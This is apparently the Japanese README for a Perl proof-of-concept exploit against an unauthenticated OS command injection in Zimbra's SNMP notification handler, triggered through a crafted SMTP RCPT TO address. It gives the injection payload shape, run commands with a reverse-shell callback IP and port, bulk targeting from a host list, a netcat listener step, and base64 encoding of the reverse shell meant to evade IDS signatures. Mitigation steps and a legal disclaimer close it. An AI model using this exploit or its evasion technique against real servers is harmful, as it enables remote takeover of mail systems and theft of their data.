
Zimbra SNMP通知 OSコマンドインジェクション — SMTPエクスプロイトを介した未認証RCE(PoC)
Zimbra Collaboration SuiteのSNMP通知ハンドラにおけるOSコマンドインジェクションによる未認証のリモートコード実行。
| 項目 | 値 |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — OSコマンドに使用される特殊要素の不適切な中和 |
| 影響を受けるバージョン | Zimbra ZCS < 10.1.20 (zimbra-snmpがインストールされている場合) |
| 修正バージョン | ZCS 10.1.20 — 2026年7月 |
| CISA KEV | 2026-08-21に追加 (FCEBの修復期限: 2026-08-24) |
| 認証要否 | 不要 |
| 実行権限 | zimbra OSユーザー |
オプションのzimbra-snmpパッケージには、/var/log/zimbra.logを監視し、以下のパターンに一致する行を検出するswatchdogルールが含まれています:
Service status change: <NAME> changed from <STATE> to <STATE>
一致が見つかると、swatchdog はキャプチャした <NAME> フィールドを一切のサニタイズを行わずに SNMP 通知シェルスクリプトへ直接渡します。
認証されていない攻撃者は、特別に細工された SMTP の RCPT TO コマンドを送信することで、巧妙に作成したログエントリを注入できます。RFC 5321 の引用符付きローカルパートを使用すると、シェルメタ文字(例: $(...))が <NAME> 内に埋め込まれ、swatchdog が結果のログ行を処理する際に実行されます。
脆弱性が悪用可能となるには、対象上で次の 3 つの条件がすべて真である必要があります:
zimbra-snmp パッケージがインストールされているsnmp_notify = true)swatchdog サービスが実行中であるAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO を含む標準的な SMTP 会話を送信します。swatchdog がログパターンにマッチし、注入された $(CMD) を抽出します。zimbra OS ユーザーとして CMD を実行します。cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
または apt-get 経由で
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
または yum 経由で
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — 1行に1ホスト、任意で :port を指定可能、# で始まる行は無視されます:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| フラグ | ロング | デフォルト | 説明 |
|---|---|---|---|
-H | --host | — | 単一のターゲットホスト名または IP |
-f | --file | — | ターゲットリストを含むファイル |
-p | --port | 587 | デフォルトの SMTP ポート |
-r | --rhost | — | リバースシェルコールバック用のあなたの IP |
-R | --rport | 4444 | リスナーポート |
-t | --timeout | 15 | ソケットタイムアウト(秒) |
-S | --ssl | オフ | 直接 TLS(ポート 465 で自動有効化) |
-v | --verbose | オフ | SMTP ダイアログ全体を表示 |
-L | --logfile | — | セッションログをファイルに書き込む |
-h | --help | — | ヘルプを表示 |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
リバースシェルコマンドは、インジェクションの前に base64 エンコード されます:
echo <b64>|base64 -d|bash
これにより、IDS/IPS が /dev/tcp、bash -i、nc -e などの平文シグネチャにマッチングできなくなります。エンコードされた blob は RCPT TO の引用符で囲まれたローカルパート内に $(...) として注入され、swatchdog がログエントリを処理する際にサーバー側で実行がトリガーされます。
| 対応 | 詳細 |
|---|---|
| パッチ | Zimbra ZCS ≥ 10.1.20 にアップグレード |
| SNMP notify を無効化 | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| パッケージを削除 | apt remove zimbra-snmp / yum remove zimbra-snmp |
| ネットワーク制御 | 運用上可能な場合、受信 SMTP (25/465/587) を信頼できるリレーに制限 |
この概念実証は、許可されたセキュリティテスト、学術研究、および防御目的のみのために公開されています。
所有していない、または明示的な書面による許可を得ていないシステムに対して実行することは違法です。
作者は、このツールによるいかなる悪用や損害についても責任を負いません。